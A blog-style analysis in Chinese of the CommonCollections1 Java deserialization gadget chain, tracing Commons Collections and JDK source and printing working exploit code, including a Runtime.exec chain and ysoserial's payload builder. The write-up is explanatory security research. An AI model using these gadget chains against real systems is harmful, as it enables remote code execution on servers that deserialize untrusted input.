Java 反序列化之 CommonCollections1 分析

前言

Common Collections 反序列化漏洞歷史在上一篇文章中有稍微提過

這個漏洞在 2015 年時，對整個 Java 生態系造成不小的影響

後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來

而本篇文章就以 ysoserial 中經典的 CommonCollections1 這條 Gadget chain 來做分析

雖然網路上類似本篇的分析文很多，但只看文章其實很難體會到 java gadget chain 裡頭的精髓

強烈建議大家有興趣、有時間的話，可以自己拉原始碼下來跟一遍，相信可以收穫更多 !

p.s. 這裡我分析的版本是 Common Collections 3.1 和 JDK 8

簡介

Apache Common Collections 主要是一個用來擴充原生 Java Collection 的一個第三方 Library

(簡單說，就是一個擴充包的概念)

而 Collection 基本上就可以視為是 Set, List, Queue 等類別的抽象概念

所以 Common Collections 中提供了許多方式，能讓我們對這些 Collection 做操作

或是對各種資料結構做封裝、抽象化，簡化原本 JDK 中複雜的操作方式

例如後面會提到的各種 Transformer，最主要就是用來對這些 Collection 做內容轉換的

也因為它的方便性和實用性，所以許多框架預設都有引用這個 Library

導致一旦底層 Library 出問題，上面所有框架都會接連一起爆炸

分析

先從 Transformer 開始看:

// org.apache.commons.collections.Transformer
public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

它是一個接口，主要用處就如同字面上的意思，是用來對輸入的物件做轉換

裡面最重要的就是 transform() 方法，我們後面會一直用到它!

接著來看幾個串 gadget chain 時會用到的 transformer 類別

一、 ConstantTransformer

public class ConstantTransformer implements Transformer, Serializable {
    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
    ...
}

這個類別的 transform() 方法實作非常簡潔，直接吐回我們在呼叫 constructor 時設定的物件

也就是我們輸入的物件，沒有經過任何轉換操作就直接返回

二、 InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {
    ...
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            ...
        }
    }
    ...
}

InvokerTransformer 的 transform() 方法會透過反射，呼叫物件的方法

而值得注意的是，方法名、參數等都是我們在 constructor 中可控的，所以我們可以對輸入的 input 物件，做任意方法呼叫！

三、 ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    ...
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    ...
}

ChainedTransformer 這個類別就有意思了，iTransformers 是一個 transformer 陣列，我們一樣可以透過 constructor 設定它

這裡 transform() 方法，會去對 iTransformers 中每一個 transformer 去呼叫其對應的 transfomr() 方法 !

也就是前一個 Transformer transform() 完的結果，會被當成下一個 Transformer transform() 的輸入

所以就能串成一個 transformer chain

到目前為止，這幾個 transformer 實際上組合一下，就已經能變成一個任意代碼執行了 !

public static void main(String args[]) {
    Transformer[] transformer_arr = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
    };
    Transformer chain = new ChainedTransformer(transformer_arr);
    chain.transform(chain);
}

但只有這樣是不夠的

目前我們是手動建立 transformer，並手動呼叫 ChainedTransformer.transform() 方法來觸發整個 gadget chain

我們需要一個能夠自動去觸發 transform() 的方法

先來看 TransformedMap 這個類別 :

/**
 * Decorates another <code>Map</code> to transform objects that are added.
 * <p>
 * The Map put methods and Map.Entry setValue method are affected by this class.
 * Thus objects must be removed or searched for using their transformed form.
 * For example, if the transformation converts Strings to Integers, you must
 * use the Integer form to remove objects.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
 *
 * @author Stephen Colebourne
 */
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7023152376788900464L;

    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;

    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     *
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    ...

可以看到這邊的 TransformedMap 繼承了抽象類別 AbstractInputCheckedMapDecorator

而 AbstractInputCheckedMapDecorator 又繼承了抽象類別 AbstractMapDecorator

這個 AbstractMapDecorator 實際上實作了 JDK 的 Map interface

其中 TransformedMap 的 keyTransformer 和 valueTransformer 對應 key 跟 value 改變時要做的操作

當 key 或 value 被修改時，就會去調用對應 Transformer 的 transform 方法

有很多地方都能夠觸發 keyTransformer.transform() 或 valueTransformer.transform()

但為了後面漏洞利用能繼續串另一個 class，我們這裡採用的是 AbstractInputCheckedMapDecorator.entrySet() 這條路去觸發

首先，TransformedMap.decorate() 會回傳一個 TransformedMap

並且可以讓我們設定其中的 keyTransformer 和 valueTransformer

所以這裡就能放我們前面串的那個 ChainedTransformer 當作 key 或 value 的 Transformer

接著我們看 AbstractInputCheckedMapDecorator.entrySet():

public Set entrySet() {
    if (isSetValueChecking()) {
        return new EntrySet(map.entrySet(), this);
    } else {
        return map.entrySet();
    }
}

protected boolean isSetValueChecking() {
    return true;
}

當 isSetValueChecking() 條件成立時，會用到內部類別 EntrySet:

static class EntrySet extends AbstractSetDecorator {

    private final AbstractInputCheckedMapDecorator parent;

    protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
        super(set);
        this.parent = parent;
    }
    ...
}

接著我們繼續看 AbstractInputCheckedMapDecorator$EntrySet 的 iterator() 方法

public Iterator iterator() {
    return new EntrySetIterator(collection.iterator(), parent);
}

iterator() 方法又去建立了一個內部類別 EntrySetIterator 的實例

你可能想問: 這裡沒地方用到這些方法，為啥要看它們呢?

因為後面會有另一個 class 有同時用到這些東西，所以我們後面會再把這些一起串起來 !

繼續看 AbstractInputCheckedMapDecorator$EntrySetIterator:

 static class EntrySetIterator extends AbstractIteratorDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
        super(iterator);
        this.parent = parent;
    }

    public Object next() {
        Map.Entry entry = (Map.Entry) iterator.next();
        return new MapEntry(entry, parent);
    }
}

next() 方法透過 iterator 去取得 Map.Entry 物件

接著 new 了一個 MapEntry 實例返回

繼續看這個 MapEntry:

static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

這裡關鍵是這個 setValue() 方法

可以看到它呼叫了 parent.checkSetValue(value)

這個 parent 其實就是 AbstractInputCheckedMapDecorator

而實作 checkSetValue() 方法是在 TransformedMap.checkSetValue() 這邊:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

終於，看到我們朝思暮想的 valueTransformer.transform(value) 了 !

所以我們就能把前面任意代碼執行的 Code，改成用 TransformedMap 的 setValue() 來觸發了:

static void main(String args[]) {
    Transformer[] transformer_arr = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
    };
    Transformer chain = new ChainedTransformer(transformer_arr);
    Map innerMap = new HashMap();
    innerMap.put(null, null);

    Map outerMap = TransformedMap.decorate(innerMap, null, chain);
    Set set = outerMap.entrySet();
    Iterator it = set.iterator();
    Map.Entry ent = (Map.Entry) it.next();

    // Trigger
    ent.setValue(null);
}

但一樣還是沒解決自動觸發的問題，這裡仍然是我們手動去呼叫 setValue()

而且還有前面提過的 iterator(), next() 等方法，其實都是我們手動去執行的

需要找到一個 gadget 可以幫我們完成這些事情

而滿足我們要求的 gadget 就是下面要講的這個 sun.reflect.annotation.AnnotationInvocationHandler 類別:

/**
 * InvocationHandler for dynamic proxy implementation of Annotation.
 *
 * @author  Josh Bloch
 * @since   1.5
 */
class AnnotationInvocationHandler implements InvocationHandler, Serializable {

    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    ...

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();


        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                        memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
                }
            }
        }
    }

    ...
}

可以看到 memberValues 就是一個 Map<String, Object>

而 readObject() 方法中，for 迴圈的寫法，實際上就恰巧用到了 iterator() 和 next() !

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    ...
}

這裡的 for 迴圈背後，實際上大致等同於

for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) {
    Map.Entry<String, Object> memberValue = iterator.next();
    ...
}

所以這裡我們就一口氣用到了剛剛沒串起來的 entrySet(), iterator(), next() !

最後面則去呼叫了 memberValue.setValue(...)，導致我們整條 chain 被觸發 !

加上是 readObject() 方法的關係，所以反序列化時會自動呼叫該方法

自動觸發整個反序列化 gadget chain，達到任意代碼執行

打完收工 !

第二條路

其實如果你去看 ysoserial 的 code

會發現它用的其實不是 TransformedMap，而是走我們現在要講的 LazyMap 這條路

概念都大同小異，就是想辦法找條路去觸發 transformer 的 transform() 方法

先來看看初始化的部分:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

這裡 decorate() 一樣會去設定 Map 和 Transformer

而我們看一下 LazyMap.get():

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

這裡直接就呼叫了 factory.transform(key)

所以我們只要想辦法透過 readObject() 去呼叫 LazyMap.get() 就能觸發整個反序列化 Chain

但事情沒那麼簡單，找不到那麼單純的 readObject() 可以直接呼叫 get() (至少我沒找到QQ)

CommonCollections1 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法

代理模式:
是一種設計模式(Design Pattern)。簡單說，就是找一個代理人，然後把事情都丟給他做 (沒錯，就是進藤光跟佐為的關係)
而對於 java 靜態代理和動態代理不熟的讀者，推薦參考這篇文章

我們直接看 ysoserial 中構造 Payload 的方法:

// Gadgets.createMemoitizedProxy()
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

// Gadgets.createMemoizedInvocationHandler()
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

// Gadgets.createProxy()
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[ 0 ] = iface;
    if ( ifaces.length > 0 ) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

public static Constructor<?> getFirstCtor(final String name) throws Exception {
    final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
    setAccessible(ctor);
    return ctor;
}

// Reflections.setFieldValue()
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    final Field field = getField(obj.getClass(), fieldName);
    field.set(obj, value);
}

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

先來看 createMemoizedInvocationHandler() 中的這段:

(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

上面這行就是對應到這段:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

所以 createMemoitizedProxy 實際上就是建立了一個 Map 介面的 Proxy (mapProxy)

並將 memberValues 設為 LazyMap 的 AnnotationInvocationHandler

而下一行的 handler 則是建立 memberValues 為 mapProxy 的 AnnotationInvocationHandler 物件

這個 handler 就是我們要反序列化觸發 gadget chain 的惡意物件 !

關鍵在於，AnnotationInvocationHandler 反序列化時，會去呼叫 readObject() 方法，並且其中又會去呼叫 memberValues.entrySet()

若 memberValues 是一個代理物件，就會去呼叫對應 handler 的 invoke() 方法

而 AnnotationInvocationHandler.invoke() 如下:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);
    ...

會一直走到 memberValues.get(member)

也就對應到前面講的 LazyMap.get()

成功觸發反序列化 chain 執行 !

總結

這篇介紹了 CommonCollections1 的兩種 gadget chain

其中 LazyMap 的呼叫流程可以簡化成如下所示:

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()

這條 gadget chain 的關鍵在於動態代理的利用方式，第一次看時腦袋會比較難轉過來

而另一條 gadget chain 就相對沒那麼複雜，是透過串 Map Entry 的 iterator 各種操作到達 setValue() 觸發整條 chain 執行

本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain

而以 Common Collections 來說，除了 CommonCollections1 以外，其實還有 CommonCollections2, 3, 4, 5, … 各種 chain

如果我有時間的話，也許未來會再分析看看其他條 chain (吧)

不知不覺又寫了一篇 Java，感覺繼續下去也許有機會變成一系列 Java 大合集 (?